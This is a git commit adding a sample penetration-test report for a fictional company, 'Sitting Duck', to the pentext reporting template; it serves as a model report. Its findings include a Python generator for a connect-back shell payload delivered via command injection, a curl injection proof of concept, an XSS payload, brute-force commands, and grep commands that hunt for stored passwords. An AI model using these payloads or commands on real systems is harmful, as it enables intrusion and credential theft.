DeforaNetworks/pentext
3
0
Fork 0
Code Releases Activity

adding sample report

Browse Source
This commit is contained in:
skyanth
2019-01-18 14:26:12 +01:00
parent c945c3374d
commit 7ed9e71ec5
32 changed files with 493 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

BIN
xml/sample-report/graphics/email_error/screenshot.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 70 KiB

BIN
xml/sample-report/graphics/logo.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 30 KiB

BIN
xml/sample-report/graphics/netmon_login.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 47 KiB

BIN
xml/sample-report/graphics/noc_topology.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 257 KiB

BIN
xml/sample-report/graphics/shell/netmon_remoteshell.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 84 KiB

BIN
xml/sample-report/graphics/shell/netmon_vulnerability.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 28 KiB

BIN
xml/sample-report/graphics/support_emails/00.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 131 KiB

BIN
xml/sample-report/graphics/support_emails/01.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 84 KiB

BIN
xml/sample-report/graphics/support_emails/02.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 67 KiB

54
xml/sample-report/source/appendix/payload_script.xml Normal file
View File

@@ -0,0 +1,54 @@
<appendix id="payload_script">
<title>Phishing Proof of Concept payload generator script</title>
<code>#!/usr/bin/python
import sys
import socket
import struct
import urllib
from base64 import b64encode
# Simple helper routines to pack/unpack 32bit numbers to/from binary
def u32h(v):
return struct.pack("&lt;L", v).encode('hex')
# x86/Linux TCP connectback shellcode (in hex)
# this payload contains 2 placeholders:
# * BAAD (will be replaced with IP address)
# * 8BAD (will be replaced with port number)
cback = "DEADBEEF" + "FEE1DEAD" + "BADDCAFE" + "BAADF00D" + "8BADF00D"
# replace placeholder values in shellcode hex with the specified values
cback = cback.replace("BAAD", socket.inet_aton(sys.argv[1]).encode("hex"))
cback = cback.replace("8BAD", struct.pack("&gt;H", int(sys.argv[2])).encode("hex"))
# Tiny ELF stub based on:
# http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html
def make_elf(sc):
elf_head = \
"7f454c46010101000000000000000000" + \
"02000300010000005480040834000000" + \
"00000000000000003400200001000000" + \
"00000000010000000000000000800408" + \
"00800408" + u32h(0x54+len(sc))*2 + \
"0500000000100000"
return elf_head.decode("hex") + sc
# print usage if not enough arguments are supplied
if len(sys.argv) != 4:
print 'usage: %s &lt;connectback_ip&gt; &lt;connectback_port&gt; &lt;netmon_url&gt;'
exit(0)
# invoke the make_elf helper to build an ELF file out of the shellcode
elf = make_elf(cback.decode("hex"))
# base64 encode the ELF file
elf_b64 = b64encode(elf)
# create a unix command that: uses the echo(1) and base(64) commands to write the
# ELF file to the disk. Make elf file executable and run it (and fork to the background)
cmd = "\necho " + elf_b64 + " | base64 -d &gt; /tmp/z ; chmod +x /tmp/z ; /tmp/z &amp;\n"
# Properly format the url for the vulnerable script with an url-escaped version of the payload.
print sys.argv[3] + '/client/submit/' + urllib.quote_plus(cmd)</code>
</appendix>

18
xml/sample-report/source/findings/ace.xml Normal file
View File

@@ -0,0 +1,18 @@
<finding id="ace" threatLevel="High" type="Arbitrary Command Execution">
<title>Arbitrary Command Execution</title>
<description>
<p>As described in <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-31337">CVE-2014-31337</a>, netmonclientd agents have an option to receive additional arguments, which are not filtered at all. This allows injection of arbitrary commands to be executed on the host monitored by the netmonclientd agent.</p>
</description>
<technicaldescription>
<p>The following command line can be used to reproduce the issue and execute arbitrary commands on a machine running netmonclientd agent:</p>
<pre>netmonclientd -Q $'a\nARBITRARY_COMMAND_GOES_HERE\n# ' 4</pre>
<p> In this example command line we rely on the $'' notation of bash to insert arbitrary newline characters in the command line argument. Alternatively the following notation can be used:</p>
<pre>netmonclientd -Q 'a $(ARBITRARY_COMMAND_GOES_HERE) # ' 4</pre>
</technicaldescription>
<recommendation>
<p>Where possible, restrict the user access to netmonclientd to mitigate the issue.</p>
</recommendation>
</finding>

17
xml/sample-report/source/findings/csrf.xml Normal file
View File

@@ -0,0 +1,17 @@
<finding id="csrf" threatLevel="Elevated" type="Cross-Site Request Forgery">
<title>Cross-Site Request Forgery</title>
<description>
<p>No CSRF mitigation techniques are used to protect the NetMon Viewer submit routine script at 'client/submit'. Thus, if a logged-in user navigates to an attacker-controlled site, the attacker can forge requests with the user's session.</p>
<p>Combined with <a href="#remote_code_execution" />, this vulnerability allows to compromise of the NetMon host by tricking a user with a logged-in NetMon Viewer session into clicking a malicious link or even by inserting images into user-frequented websites.</p>
</description>
<technicaldescription>
<p>Insert the following HTML into a website that is visited by the victim:</p>
<pre>&lt;img href="http://monitoring.sittingduck.bv/client/submit"&gt;</pre>
</technicaldescription>
<recommendation>
<p>Update NetMon to the latest version, in which the vulnerability has been fixed.</p>
</recommendation>
</finding>

34
xml/sample-report/source/findings/dos.xml Normal file
View File

@@ -0,0 +1,34 @@
<finding id="dos" threatLevel="Low" type="Denial of Service">
<title>Denial of Service</title>
<description>
<p>The bruteforce hammering protection of Open Server Watch sets timeouts on a per-username basis. An attacker could automatically hit the server repeatedly with relevant usernames (e.g. "admin") in order to lock out those users from logging in.</p>
</description>
<technicaldescription>
<p>The following python script repeatedly attempts to login as the admin user:</p>
<code>#!/usr/bin/python
import mechanize
mech = mechanize.Browser()
mech.set_handle_equiv(True)
mech.set_handle_redirect(True)
mech.set_handle_referer(True)
users = [('admin', 'password')]
mech.open('https://osw.sittingduck.bv/login.htm')
for u, p in users:
mech.select_form(nr=0)
mech.form['user'] = u
mech.form['pass'] = p
response = mech.submit()
if response.geturl() == 'https://osw.sittingduck.bv/login_success.html':
print 'User/Password combo: ',''.join([u, '/', p])
break</code>
</technicaldescription>
<recommendation>
<p>Unfortunately, no patch for this issue this exists upstream.</p>
</recommendation>
</finding>

15
xml/sample-report/source/findings/information_leak.xml Normal file
View File

@@ -0,0 +1,15 @@
<finding id="information_leak" threatLevel="Low" type="Information Leak">
<title>Information Leak</title>
<description>
<p>The '/support' site of NetMon Viewer is publicly accessible, and could possibly disclose sensitive information about the infrastructure.</p>
</description>
<technicaldescription>
<p>Open <a href="https://monitoring.sittingduck.bv/support">https://monitoring.sittingduck.bv/support</a> in any unauthenticated browser.</p>
</technicaldescription>
<recommendation>
<p>NetMon recommends to "remove the public access” to disable this behavior, see <a href="http://docs.netmon.io/docs/core/support">http://docs.netmon.io/docs/core/support</a>.</p>
</recommendation>
</finding>

15
xml/sample-report/source/findings/password_reuse.xml Normal file
View File

@@ -0,0 +1,15 @@
<finding id="password_reuse" threatLevel="Moderate" type="Password reuse">
<title>Password reuse</title>
<description>
<p>The credentials we found for aspaans were actually for a Linux management server and not for the NOC. These credentials would not have worked on the NOC if the password had not been reused.</p>
</description>
<technicaldescription>
<p>Not applicable.</p>
</technicaldescription>
<recommendation>
<p>Strongly advise/educate your employees not to reuse passwords.</p>
</recommendation>
</finding>

22
xml/sample-report/source/findings/pe.xml Normal file
View File

@@ -0,0 +1,22 @@
<finding id="pe" threatLevel="High" type="Privilege Escalation">
<title>Privilege Escalation</title>
<description>
<p>On one of the Sitting Duck Linux management machines, user gdehaas has a world readable file containing the clear text credentials of aspaans in his home directory. This allows the attacker to escalate, e.g. from the netmonclientd user, to the user aspaans. As aspaans has passwordless sudo rights, the attacker can further escalate to root access.</p>
</description>
<description_summary>
<p>User gdehaas has a world readable file containing clear text credentials of user aspaans, who has passwordless sudo rights and can thus be used to further escalate to root access.</p>
</description_summary>
<technicaldescription>
<p>The command line</p>
<pre>find /home/* -perm -o+r 2>/dev/null</pre>
<p>lists all world-readable files under /home .</p>
<p>The password in this issue can also be found by running</p>
<pre>grep -rin "password" /home/* 2>/dev/null</pre>
</technicaldescription>
<recommendation>
<p>Don't store clear text passwords in files. Strongly advise/educate your Unix users in getting their permissions masks right. Avoid giving out passwordless sudo rights to Unix users that don't require it.</p>
</recommendation>
</finding>

15
xml/sample-report/source/findings/pe_management.xml Normal file
View File

@@ -0,0 +1,15 @@
<finding id="pe_management" threatLevel="Moderate" type="Privilege Escalation">
<title>Privilege Escalation</title>
<description>
<p>On the Linux management machine mgmt1, a home directory contains a world-readable script containing the MySQL root user password for the Open Server Watch backend on mgmt2.</p>
</description>
<technicaldescription>
<p>See <a href="#pe" />.</p>
</technicaldescription>
<recommendation>
<p>Strongly advise/educate your Unix users in getting their permissions masks right.</p>
</recommendation>
</finding>

17
xml/sample-report/source/findings/pe_management_2.xml Normal file
View File

@@ -0,0 +1,17 @@
<finding id="pe_management_2" threatLevel="High" type="Privilege Escalation">
<title>Privilege Escalation</title>
<description>
<p>On the Linux management machines, the netmond user can execute the following script via sudo:</p>
<pre>/usr/local/netmonclientd/init</pre>
<p>This script is writable by the netmonclientd user. This allows escalating from the netmonclientd user to root.</p>
</description>
<technicaldescription>
<p>Edit ''/usr/local/netmonclientd/init'' on the management machines as the netmonclientd user, since the script can be invoked with "/bin/bash" to elevate privileges to root (uid=0).</p>
</technicaldescription>
<recommendation>
<p>Change owner of the ''/usr/local/netmonclientd/init'' (on the management machines) to root so the netmonclientd user cannot write to it.</p>
</recommendation>
</finding>

31
xml/sample-report/source/findings/remote_code_execution.xml Normal file
View File

@@ -0,0 +1,31 @@
<finding id="remote_code_execution" threatLevel="High" type="Remote Code Execution">
<title>Remote Code Execution</title>
<description>
<p>Unsanitized user input in the NetMon Viewer '/client/submit' site allows logged-in users to execute arbitrary commands as the netmonclientd user on the NetMon host.</p>
<p>The script generates and executes a command line, which includes user input verbatim. The attack can break out of the intended command line and execute arbitrary commands by inserting, for instance, newline characters.</p>
</description>
<description_summary>
<p>Unsanitized user input in the NetMon Viewer '/client/submit' site allows logged-in users to execute arbitrary commands as the netmonclientd user on the NetMon host.</p>
</description_summary>
<technicaldescription>
<p>The following snippet from the source code contains the vulnerability:</p>
<code>i = argv.i
cmd = subprocess.call(['bin/../conn.py', '-I', i], shell=True)</code>
<p>The vulnerability is triggered by injecting commands into the client parameter.</p><p>Proof of Concept exploit:</p>
<code>#!/bin/bash
COOKIE="INSERT_NETMON_VIEWER_SESSION_COOKIE_HERE"
TARGET=$1
CMD=$2
URL=http://${TARGET}/client/submit/%0A${CMD}
curl -vvv "${URL}"</code>
</technicaldescription>
<recommendation>
<p>Update NetMon to the latest version, in which the vulnerability has been fixed.</p>
</recommendation>
</finding>

15
xml/sample-report/source/findings/spearphishing.xml Normal file
View File

@@ -0,0 +1,15 @@
<finding id="spearphising" threatLevel="High" type="Social engineering">
<title>Social engineering</title>
<description>
<p>A spearphishing email targeting Sitting Duck support engineers successfully exploited an XSS/CSRF in NetMon. For more detailed information on the attack, see the Attack Narrative in <a href="#attack_narrative" />.</p>
</description>
<technicaldescription>
<p>Not applicable.</p>
</technicaldescription>
<recommendation>
<p>Awareness training (DON'T CLICK!) combined with back-up technical solutions (detection of newly registered domains, sandboxing the email client, etc..).</p>
</recommendation>
</finding>

16
xml/sample-report/source/findings/xss.xml Normal file
View File

@@ -0,0 +1,16 @@
<finding id="xss" threatLevel="Elevated" type="Cross Site Scripting">
<title>Cross-Site Scripting</title>
<description>
<p>An open redirect vulnerability in NetMon allows an attacker to redirect users to arbitrary websites, e.g. to conduct phishing attacks; see <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-130000">CVE-2014-130000</a>.</p>
<p>This vulnerability might also be used in conjunction with <a href="#remote_code_execution" /> and <a href="#csrf" /> to compromise the NetMon host in a spear phishing campaign.</p>
</description>
<technicaldescription>
<p>This link points at NetMon, but the user is redirected to google.com:</p>
<pre>https://monitoring.sittingduck.bv/viewer/?back=http://google.com/</pre>
</technicaldescription>
<recommendation>
Update NetMon to the latest version, where this issue is fixed.
</recommendation>
</finding>

16
xml/sample-report/source/findings/xss_netmon.xml Normal file
View File

@@ -0,0 +1,16 @@
<finding id="xss_netmon" threatLevel="Elevated" type="Cross-Site Scripting">
<title>Cross-Site Scripting</title>
<description>
<p>The 'view/' site of NetMon is vulnerable to URL-based XSS, allowing an attacker to inject JavaScript code into the website; see <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-7400">CVE-2013-7400</a>. This could be used in a spear phishing campaign to steal session cookies, which would enable compromise of the NetMon host using <a href="#remote_code_execution" />.</p>
</description>
<technicaldescription>
<p>The PoC below gets around this by using the onfocus attribute of an &lt;input&gt; tag in order to get a JavaScript execution environment. From here, the attacker could run arbitrary (possibly encoded) JavaScript code.</p>
<pre>https://monitoring.sittingduck.bv/view/%3Cinput%20autofocus%20onfocus%3Dalert(1)%3E</pre>
</technicaldescription>
<recommendation>
<p>Update NetMon to the latest version, where this issue is fixed.</p>
</recommendation>
</finding>

4
xml/sample-report/source/future-work/juniper.xml Normal file
View File

@@ -0,0 +1,4 @@
<non-finding id="juniper">
<title>Juniper NetScreen</title>
<p>Beyond verifying the CVEs from the nipper-ng scan by hand, we didn't look at the Juniper NetScreen device in detail.</p>
</non-finding>

4
xml/sample-report/source/future-work/vpn.xml Normal file
View File

@@ -0,0 +1,4 @@
<non-finding id="VPN">
<title>VPN</title>
<p>We could Man-in-the-Middle the VPN, but we'd need to have perfect timing in catching an employee accessing the VPN from a public location for the VPNs. We didn't spend any time looking at this.</p>
</non-finding>

14
xml/sample-report/source/non-findings/brute_force.xml Normal file
View File

@@ -0,0 +1,14 @@
<non-finding id="brute_force">
<title>Brute Forcing</title>
<p>For brute forcing, we used Hydra with the 'rockyou' (see <a href="https://wiki.skullsecurity.org/Passwords">https://wiki.skullsecurity.org/Passwords</a>) wordlist.</p>
<p>All parameters have been checked manually.</p>
<p><b>Against Basic Auth:</b></p>
<p>The basic auth box says that it requires a one-time passcode as the password, so this isn't going to be brute-forceable. The chance of hitting an OTP passcode is minimal, and it's also irreproducible.</p>
<p><b>Against NetMon:</b></p>
<pre>./hydra monitoring.sittingduck.bv https-form-post "/login:u=^USER^&amp;p=^PASS^&amp;login=Log+In:Username or password mismatch" -l admin -P rockyou.txt</pre>
<p>It appeared that NetMon Viewer has no bruteforce protection or captcha of any kind.</p>
<p>We were unable to compromise the NetMon Viewer login page. A brute-force attack, even with prior knowledge of the password format, was deemed infeasible. We ran HTC-Hydra against it, but the login process is CPU bound on the webserver to between 150 and 200 tries per minute. Additionally, after ramping up aggressiveness of this attack, we tripped some alarms with the Sitting Duck NOC.</p>
</non-finding>

10
xml/sample-report/source/non-findings/osw.xml Normal file
View File

@@ -0,0 +1,10 @@
<non-finding id="osw">
<title>Open Server Watch</title>
<p>No vulnerabilities could be found in Sitting Duck's installation of Open Server Watch, even after quite a bit of scrutiny.</p>
<p>An overview of some of the issues we looked at:</p>
<ul>
<li>The request parameter in the login form is an arbitrary redirect (lame),</li>
<li>Cookies are not HTTP only, which could allow stealing if we found a XSS attack,</li>
<li>CSRF protection is done by adding half of the SessionID to the URL which is not optimal, however, this seems to be effective at this point.</li>
</ul>
</non-finding>

4
xml/sample-report/source/non-findings/shielded_webapps.xml Normal file
View File

@@ -0,0 +1,4 @@
<non-finding id="shielded_webapps">
<title>Shielded WebApps</title>
<p>The HTTP Basic Auth with 2-factor authentication solution is quite solid. The systems behind auth were not tested, because they are shielded well enough as to be not reachable to outsiders. </p>
</non-finding>

8
xml/sample-report/source/scans/nipper.xml Normal file
View File

@@ -0,0 +1,8 @@
<section id="nipper">
<title>nipper-ng</title>
<p>We used nipper-ng with the following command:</p>
<pre>nipper --screenos --input=config.conf --output=audit.html</pre>
<p>to audit the Juniper NetScreen firewall config that Sitting Duck NOC provided us with.</p>
<p>The reported CVEs were checked manually, none were deemed relevant to this scenario.</p>
</section>

94
xml/sample-report/source/scans/nmap.xml Normal file
View File

@@ -0,0 +1,94 @@
<section id="nmap">
<title>nmap</title>
<p>We ran nmap with the following commands:</p>
<p>Command:</p>
<pre>$ sudo nmap -sS 10.0.23.0/28</pre>
<p>Outcome (condensed):</p>
<pre>Starting Nmap 6.47 ( http://nmap.org ) at 2014-10-19 22:32 CEST
Nmap scan report for osw004.sittingduck.bv (10.0.23.37)
Host is up (0.034s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE
80/tcp open http
443/tcp open https
Nmap scan report for 10.0.23.101
Host is up (0.016s latency).
All 1000 scanned ports on 10.0.23.101 are filtered
Nmap scan report for aud028.sittingduck.bv (10.0.23.105)
Host is up (0.014s latency).
All 1000 scanned ports on aud028.sittingduck.bv (10.0.23.105) are filtered
Nmap scan report for monitoring28.sittingduck.bv (10.0.23.166)
Host is up (0.061s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE
80/tcp open http
443/tcp open https
Nmap done: 12 IP addresses (4 hosts up) scanned in 102.34 seconds</pre>
<p>Command:</p>
<pre>$ nmap -A -Pn 172.16.1.0/24</pre>
<p>Outcome (Condensed):</p>
<pre>Nmap scan report for osw06.sittingduck.bv (172.16.1.94)
Host is up (0.28s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http nginx
443/tcp open http nginx
Nmap scan report for 172.16.1.103
Host is up (0.39s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
Nmap scan report for 172.16.1.106
Host is up (0.31s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
646/tcp closed ldp
Nmap scan report for 172.16.1.105
Host is up (0.28s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
179/tcp closed bgp
Nmap scan report for monitoring17.sittingduck.bv (172.16.1.109)
Host is up (0.28s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.3
443/tcp open ssl/http Apache httpd 2.2.3
Nmap scan report for ns3.sittingduck.bv (172.16.1.115)
Host is up (0.27s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain
</pre>
<p>Command:</p>
<pre>$ nmap -A -Pn 172.16.4.0/24</pre>
<p>Outcome (condensed):</p>
<pre>Nmap scan report for 172.16.4.23
Host is up (0.23s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
179/tcp closed bgp
Nmap scan report for osw00.sittingduck.bv (172.16.4.27)
Host is up (0.24s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http nginx
443/tcp open http nginx
Nmap scan report for 172.16.4.253
Host is up (0.23s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.15
443/tcp open ssl/http Apache httpd 2.2.15
Nmap scan report for 172.16.4.254
Host is up (0.24s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.15
443/tcp open ssl/http Apache httpd 2.2.15
</pre>
<p>Nothing relevant was reported.</p>
</section>

14
xml/sample-report/source/scans/w3af.xml Normal file
View File

@@ -0,0 +1,14 @@
<section id="w3af">
<title>w3af</title>
<p>We ran the OWASP Top Ten profile against Open Server Watch and NetMon.</p>
<pre>$ w3af_console
w3af>>> target
w3af/config:target>>> set target http://monitoring.sittingduck.bv
w3af/config:target>>> back
w3af>>> profiles
w3af/profiles>>> use OWASP_TOP10
w3af/profiles>>> back
w3af>>> start</pre>
<p>Nothing relevant (that hadn't already been found by manual analysis) was reported.</p>
</section>

7
xml/sample-report/source/snippets/contact.xml Normal file
View File

@@ -0,0 +1,7 @@
<?xml version="1.0" encoding="UTF-8"?>
<contact xml:base="contact.xml">
<name>Melanie Rieback</name>
<address>Radically Open Security BV<br/>Overdiemerweg 28, 1111 PP Diemen</address>
<phone>+31 6 10 21 32 40</phone>
<email>melanie@radicallyopensecurity.com</email>
</contact>

49
xml/sample-report/source/snippets/methodology.xml Normal file
View File

@@ -0,0 +1,49 @@
<?xml version="1.0" encoding="UTF-8"?>
<section id="methodology" xml:base="methodology.xml">
<title>Methodology</title>
<section id="planning">
<title>Planning</title>
<p>Our general approach during this penetration test was as follows:</p>
<ol>
<li><b>Reconnaissance</b><br/>We attempted to gather as much information as possible about the
target. Reconnaissance can take two forms i.e. active and passive. A
passive attack is always the best starting point as this would normally defeat
intrusion detection systems and other forms of protection etc. afforded to the
network. This would usually involve trying to discover publicly available
information by utilizing a web browser and visiting newsgroups etc. An active form
would be more intrusive and may show up in audit logs and may take the form of a
social engineering type of attack.</li>
<li><b>Enumeration</b><br/>We used varied operating system fingerprinting tools to determine
what hosts are alive on the network and more importantly what services and operating
systems they are running. Research into these services would then be carried out to
tailor the test to the discovered services.</li>
<li><b>Scanning</b><br/>By use of vulnerability scanners all discovered hosts would be tested
for vulnerabilities. The result would then be analyzed to determine if there any
vulnerabilities that could be exploited to gain access to a target host on a
network.</li>
<li><b>Obtaining Access</b><br/>By use of published exploits or weaknesses found in
applications, operating system and services access would then be attempted. This may
be done surreptitiously or by more brute force methods.</li>
</ol>
</section>
<section id="riskClassification">
<title>Risk Classification</title>
<p>Throughout the document, each vulnerability or risk identified has been labeled and
categorized as:</p>
<ul>
<li><b>Extreme</b><br/>Extreme risk of security controls being compromised with the possibility
of catastrophic financial/reputational losses occurring as a result.</li>
<li><b>High</b><br/>High risk of security controls being compromised with the potential for
significant financial/reputational losses occurring as a result.</li>
<li><b>Elevated</b><br/>Elevated risk of security controls being compromised with the potential
for material financial/reputational losses occurring as a result.</li>
<li><b>Moderate</b><br/>Moderate risk of security controls being compromised with the potential
for limited financial/reputational losses occurring as a result.</li>
<li><b>Low</b><br/>Low risk of security controls being compromised with measurable negative
impacts as a result.</li>
</ul>
<p>Please note that this risk rating system was taken from the Penetration Testing Execution
Standard (PTES). For more information, see:
http://www.pentest-standard.org/index.php/Reporting. </p>
</section>
</section>